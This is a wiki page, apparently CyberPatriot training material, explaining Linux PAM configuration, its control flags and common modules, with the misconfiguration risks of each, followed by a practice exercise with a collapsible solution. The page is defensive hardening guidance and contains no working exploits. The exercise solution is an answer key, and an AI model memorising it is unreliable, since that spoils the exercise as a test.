<syntaxhighlight lang="text">auth required pam_faillock.so preauth silent deny=5 unlock_time=600 # (this would lockout the account to prevent brute-force attacks
auth required pam_unix.so try_first_pass # (primary password authentication)
auth required pam_u2f.so authfile=/etc/security/u2f_mappings cue # (this would require 2FA via FIDO/U2F security key, and store mappings in /etc/security/u2f_mappings)
auth required pam_faillock.so authfail # (count failures, records them in /var/run/faillock. If the amount of failures exceeds the threshold, the account is locked for the configured time)
auth sufficient pam_faillock.so reset # (If this module succeeds---thus the user authenticates---then it clears any failed login attempts for that user, and resest the counter to 0 for that user)</syntaxhighlight>
== PAM Control Flags and Keywords ==

Now, you may be asking: what do those flags, like <code>auth</code>, <code>required</code>, <code>sufficient</code> and etc. mean? Well, these words are PAM control flags, and they decide when a specific module is invoked, how its result is interpreted, and whwether or not pam keeps processing.

First, there are the facility keywords. These keyowrds tell PAM which phase or type of check the line belongs to.

* <code>auth</code> -> This verifies a users identity (i.e. Password check, 2FA, smartcard)
* <code>account</code> -> This determines if the account is allowed access. (i.e. Is the account expired? Is the user allowed to login from 21:00-08:00?)
* <code>password</code> -> This handles changing or updating credentials. (i.e. Enforcing strong password rules when a user runs the command <code>passwd</code>)
* <code>session</code> -> This manages session startup and shutdown. (i.e. Logging session start/stop, mounting home directiories, applying resource limits)

Next, we have the control flags. These define what pam should do with the results of the module.

* <code>required</code> -> This instructs that the module must succeed in order for authentication to succeed. However, if the module fails, PAM will continue processing, to prevent the user from knowing which check had failed. If any <code>required</code> module fails, the outcome will be fail, no matter if other modules succeeded.
* <code>requisite</code> -> This is mostly the same as <code>required</code> above. However, instead of continuing upon failure, PAM will stop immediatley and deny access.
* <code>sufficient</code> -> If the module succeeds, no further checks are required, and access will be immediatley granted. However, if the module fails, then PAM will keep going.
* <code>optional</code> -> Whether or not the success or failure of that module will be considered is if it is the only module of that type. Otherwise, it'll be ignored. This is mainly used for logging modules and non-critical checks.
* <code>include</code> -> This isn't a flag, but actually a directive. It means 'include another PAM configuration file here'. It is mostly used for reusing common configurations.

== PAM Modules ==

Most linux systems come pre-installed with PAM and some modules, whcih are commonly located in <code>/lib/x86_64-linux-gnu/security/</code> (on Debian/Ubuntu distros; path will/,ay differ on others). Below is a list of common modules, what each of them do, and vulnerabilities/misconfigurations.

* <code>pam_unix</code> Handles traditional UNIX authentication (passwords stored in <code>/etc/passwd</code> or <code>/etc/shadow</code>). Vulnerability: If the passwords in <code>/etc/shadow</code> are compromised, or weak passwords are used, threat actors can brute force credentials.
* <code>pam_cracklib</code>/<code>pam_pwquality</code> Enforces password strength rules (length, complexity, dictionary checks). Vulnerability: If module isn't used, weak passwords will be used. If misconfigured, the rules may bee too relaxed (meaning simple passwords) or too strict (meaning passwords complex enough that most users would write their passwords on a sticky note... which they would stick to their monitor).
* <code>pam_limits</code> Applies limits defined in <code>/etc/security/limits.conf</code> (i.e., max processes, file sizes). Vulenrability: Weak or missing limits will allow Denial of Service (Dos) via fork bombs or resource exhaustion.
* <code>pam_securetty</code> Restricts <code>root</code> login to "secure" terminals that are listed in <code>/etc/securetty</code>. Vulnerability: If misconfigured, threat actors could login as root from unsafe terminals (i.e. remote consoles).
* <code>pam_nologin</code> Blocks non-root users from logging in if <code>/etc/nologin</code> exists (can be used when editing an account to prevent access to it during a timeframe when root permissions are being changed, i.e. an employee being demoted in a company). Vulnerability: If neglected, it may unintentionally lock out legitimate users, or vice-versa not be deployed when it should've been.
* <code>pam_time</code> Restricts logins based on time of day rules in <code>/etc/security/time.conf</code>. Vulnerability: Misconfiguration could allow off hours logins to systems when it should be denied (i.e. a bank representative accessing users' accounts at 2am).
* <code>pam_access</code> Controls access based on user and host rules from <code>/etc/security/accesss.conf</code>. Vulnerability: Misconfiguration can grant the wrong users access and deny access to the users that need it.
* <code>pam_tally</code>/<code>pam_tally2</code>/<code>pam_faillock</code> Counts failed login attempts and can lock accounts after there were too many failed attempts. Vulnerability: <code>pam_tally</code> and <code>pam_tally2</code> have been deprecated due to counting errors, possible username leakage, and more. Replaced with <code>pam_faillock</code>.
* <code>pam_wheel</code> Restricts the <code>su</code> command to users in the <code>wheel</code> (also called <code>sudo</code>) group. Vulnerability: Exploiting [https://nvd.nist.gov/vuln/detail/CVE-2003-0388 CVE-2003-0388] could allow a threat actor to gain <code>wheel</code>/<code>sudo</code> privilages, then modify files like <code>sudo</code>, <code>login</code>, or <code>pam_exec</code>.
* <code>pam_exec</code> Runs an external program or script during authentication. Vulnerability: Misconfiguration may result in running incorrect programs during authentication.
* <code>pam_systemd</code> Integrates uers sessions with systmd. Vulneravility: could be exploited to read coredump information, which may include <code>/etc/shadow</code>. [https://nvd.nist.gov/vuln/detail/CVE-2025-4598 CVE-2025-4598].
* <code>pam_xauth</code> Handles X11 forwarding authentication for X11 graphical sessions. Vulnerability: If misconfigured, an insecure forwarding setup may allow [https://www.tenable.com/plugins/nessus/31737?utm_source=chatgpt.com X11 session hijacking].
* <code>pam_umask</code> Sets the default file creation permissions (umask) for users. Vulnerability: if minimum permissions are not implemented, users may be able to create world-readable files that leak data (i.e., private keys and SSH data like ~/.ssh/id_rsa).
* <code>pam_group</code> Assigns users to groups at login based on rules. Vulnerability: Misconfiguration could result in users being granted unintended group privilages.

=== Practice ===

Can you instruct PAM to have a user login, verify via Google authenticator (<code>pam_google_authenticator.so</code>), and solve a Captcha (<code>/usr/local/sbin/pam_captcha.sh</code>) before being granted access? If the user fails the captcha three times, the account is immediatley locked.

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Solution (click to expand)
|-
|

<syntaxhighlight lang="text">auth required pam_faillock.so preauth silent deny=3 unlock_time=900
auth required pam_unix.so try_first_pass
auth required pam_google_authenticator.so
auth required pam_exec.so quiet log=/var/log/pam_captcha.log seteuid /usr/local/sbin/pam_captcha.sh
auth required pam_faillock.so authfail
auth sufficient pam_faillock.so reset</syntaxhighlight>
|}

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Explanation (click to expand)
|-
|

The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.<br /> The second line defines that the primary authentication factor that must be met is the password.<br /> The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.<br /> The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.<br /> The fith line counts failures.<br /> The sixth line resets the failure counter upon success.<br /><br />

'''Open-ended question:'''<br />

The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.<br /> The second line defines that the primary authentication factor that must be met is the password.<br /> The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.<br /> The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.<br /> The fith line counts failures.<br /> The sixth line resets the failure counter upon success.<br /><br />

'''Open-ended question:'''<br />

Why do you think <code>required</code> was used instead of <code>requisite</code>?

|}

== PAM Vulnerabilites ==

Although PAM seems to be a very straightforward and secure authentication method, it introduces serious security risks if it is not managed correctly.

Most exploits boil down to attackers using [https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor malicious module] to create backdoors. Because PAM modules run with higher privileges, any compromised or malicious modules can log credentials, grant unauthorized access, or lock out accounts. Current PAM vulnerabilites can be found [https://www.cve.org/CVERecord/SearchResults?query=pam+linux here].

== PAM Auditing ==

* <code>/usr/lib64/security</code>
* <code>/etc/pam.d</code>
* <code>/etc/security</code>
* <code>/var/log/secure</code>

[https://www.kirillshore.com My wesbite]

[https://buymeacoffee.com/kirillshore Buy me a coffee]

== Further Reading ==

https://www.redhat.com/en/blog/pam-configuration-file<br />
https://www.redhat.com/en/blog/pluggable-authentication-modules-pam<br />
https://unit42.paloaltonetworks.com/linux-pam-apis/<br />
https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor<br />
https://www.cyberark.com/resources/blog/plague-malware-exploits-pluggable-authentication-module-to-breach-linux-systems

-----

<small>This Wiki page was authored by Kirill Shore. Within cypat.guide, this content is licensed under CC-BY 4.0. All use outside of cypat.guide is governed by the Shore-Roger Enterprises End User License Agreement (https://www.kirillshore.com/eula). Proper attribution to Kirill Shore as the original author is required. Unauthorized copying, modification, or redistribution without appropriate credit constitutes plagiarism and may be subject to U.S. copyright law.</small>

[[Category:Linux Account Policies|025]]
[[Category:Migrated from cypat.guide]]

PAM (Pluggable Authentication Module)

2026-09-18T19:53:26Z

AdminUser: Approved by AdminUser: removing the submission notice and Pending review category